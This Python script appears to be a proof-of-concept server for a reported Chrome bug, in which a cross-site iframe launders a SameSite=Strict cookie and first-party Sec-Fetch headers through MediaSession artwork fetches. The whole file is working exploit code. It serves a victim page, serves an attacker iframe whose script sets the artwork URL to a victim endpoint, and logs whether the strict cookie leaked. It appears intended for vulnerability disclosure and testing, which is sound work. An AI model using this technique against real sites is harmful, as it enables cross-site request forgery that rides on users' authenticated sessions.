#!/usr/bin/env python3
"""
POC server for: Cross-origin subframe MediaSession artwork fetched via primary
main frame -- SameSite cookie / Sec-Fetch-Site / initiator-origin laundering.

Two virtual hosts on the same port (distinguished by Host header):

  - 127.0.0.1  : the embedding "victim" first-party site.  It sets a
                 SameSite=Strict cookie and embeds a cross-site iframe.
                 It does NOT play media or use navigator.mediaSession.
  - localhost  : the cross-site "attacker" iframe.  It plays audio and
                 sets navigator.mediaSession.metadata.artwork to a URL on
                 the *victim* origin.

Both hosts are potentially-trustworthy origins, so Chrome emits
Sec-Fetch-* headers on requests to them, and they are cross-SITE with
respect to each other for SameSite-cookie purposes (one is an IP host,
the other a name host).

The server logs every request to /csrf-target with its Cookie and
Sec-Fetch-Site headers.
"""

import http.server
import socketserver
import struct
import threading
import math

PORT = 9999

VICTIM_HOST = "127.0.0.1"      # top-level embedder ("victim.example")
ATTACKER_HOST = "localhost"    # cross-site iframe ("evil.example")

# ---------------------------------------------------------------------------

VICTIM_INDEX = f"""<!doctype html>
<title>victim ({VICTIM_HOST})</title>
<h1>victim {VICTIM_HOST} top-level page</h1>
<p>This page does <b>not</b> play media or use navigator.mediaSession.</p>
<p>Embedding cross-site iframe at {ATTACKER_HOST}:</p>
<iframe src="http://{ATTACKER_HOST}:{PORT}/ad.html"
        allow="autoplay"
        width="600" height="300"></iframe>
""".encode()

ATTACKER_AD = f"""<!doctype html>
<title>{ATTACKER_HOST} ad</title>
<body>
<h2>{ATTACKER_HOST} cross-site iframe</h2>
<audio id="a" src="http://{ATTACKER_HOST}:{PORT}/audio.wav" loop></audio>
<pre id="log"></pre>
<script>
(async () => {{
  const log = m => document.getElementById('log').textContent += m + '\\n';
  const a = document.getElementById('a');

  // CONTROL: a direct cross-site <img> load from this iframe to the victim
  // origin. This is what the attacker can normally do; it must NOT carry the
  // SameSite=Strict cookie and is tagged Sec-Fetch-Site: cross-site.
  new Image().src =
      'http://{VICTIM_HOST}:{PORT}/csrf-target?via=cross-site-img-from-iframe';

  try {{
    await a.play();
    log('audio playing');
  }} catch (e) {{
    log('play() rejected: ' + e);
    return;
  }}

  // ATTACK: set MediaSession metadata. The artwork URL points at the victim.
  // MediaSessionImpl::GetMediaImageBitmap routes the artwork download through
  // the *primary main frame* (victim) instead of this subframe, so the request
  // is issued with the victim's SiteForCookies and request_initiator -- it
  // therefore carries the SameSite=Strict cookie and Sec-Fetch-Site: same-origin.
  navigator.mediaSession.metadata = new MediaMetadata({{
    title: 'x',
    artist: 'x',
    album: 'x',
    artwork: [{{
      src: 'http://{VICTIM_HOST}:{PORT}/csrf-target?via=mediasession-artwork',
      sizes: '512x512',
      type: 'image/png',
    }}],
  }});
  navigator.mediaSession.setActionHandler('play',  () => a.play());
  navigator.mediaSession.setActionHandler('pause', () => a.pause());
  log('mediaSession.metadata set');
}})();
</script>
</body>
""".encode()

# Minimal valid 1x1 PNG so the image-decode path doesn't error out.
PNG_1x1 = bytes.fromhex(
    "89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489"
    "0000000a49444154789c6300010000000500010d0a2db40000000049454e44ae426082"
)


def make_wav(seconds: int = 10, rate: int = 8000, freq: int = 440) -> bytes:
    """Generate a tiny mono PCM WAV so the renderer has real, audible audio."""
    nsamples = seconds * rate
    samples = bytearray()
    for i in range(nsamples):
        v = int(32760 * 0.2 * math.sin(2 * math.pi * freq * i / rate))
        samples += struct.pack("<h", v)
    data = bytes(samples)
    hdr = b"RIFF" + struct.pack("<I", 36 + len(data)) + b"WAVE"
    hdr += b"fmt " + struct.pack("<IHHIIHH", 16, 1, 1, rate, rate * 2, 2, 16)
    hdr += b"data" + struct.pack("<I", len(data))
    return hdr + data


WAV_BYTES = make_wav()
LOG_LOCK = threading.Lock()


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _send(self, code, ctype, body, extra=None):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        for k, v in (extra or []):
            self.send_header(k, v)
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):  # quiet default access log
        pass

    def do_GET(self):  # noqa: N802
        host = (self.headers.get("Host") or "").split(":")[0]
        path = self.path.split("?", 1)[0]

        if path == "/csrf-target":
            self._handle_csrf_target(host)
            return

        if host == VICTIM_HOST and path == "/":
            self._send(
                200, "text/html", VICTIM_INDEX,
                extra=[("Set-Cookie",
                        "secret=STRICT_SECRET; SameSite=Strict; Path=/")],
            )
            return

        if host == ATTACKER_HOST and path == "/ad.html":
            self._send(200, "text/html", ATTACKER_AD)
            return
        if host == ATTACKER_HOST and path == "/audio.wav":
            self._send(200, "audio/wav", WAV_BYTES)
            return

        self._send(404, "text/plain", b"not found")

    def _handle_csrf_target(self, host):
        cookie = self.headers.get("Cookie", "<none>")
        sfs = self.headers.get("Sec-Fetch-Site", "<none>")
        sfm = self.headers.get("Sec-Fetch-Mode", "<none>")
        sfd = self.headers.get("Sec-Fetch-Dest", "<none>")
        referer = self.headers.get("Referer", "<none>")
        qs = self.path.partition("?")[2]

        leaked = "STRICT_SECRET" in cookie
        marker = ("  <<< VULN: SameSite=Strict cookie + first-party "
                  "context laundered by cross-site iframe" if leaked else "")

        with LOG_LOCK:
            print("-" * 78, flush=True)
            print(f"[{host}] GET /csrf-target?{qs}", flush=True)
            print(f"    Cookie         : {cookie}", flush=True)
            print(f"    Sec-Fetch-Site : {sfs}", flush=True)
            print(f"    Sec-Fetch-Mode : {sfm}", flush=True)
            print(f"    Sec-Fetch-Dest : {sfd}", flush=True)
            print(f"    Referer        : {referer}{marker}", flush=True)

        self._send(200, "image/png", PNG_1x1)


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == "__main__":
    print(f"[*] POC server listening on http://127.0.0.1:{PORT}/", flush=True)
    print(f"[*] Victim host  : {VICTIM_HOST}", flush=True)
    print(f"[*] Attacker host: {ATTACKER_HOST}", flush=True)
    ThreadingHTTPServer(("127.0.0.1", PORT), Handler).serve_forever()
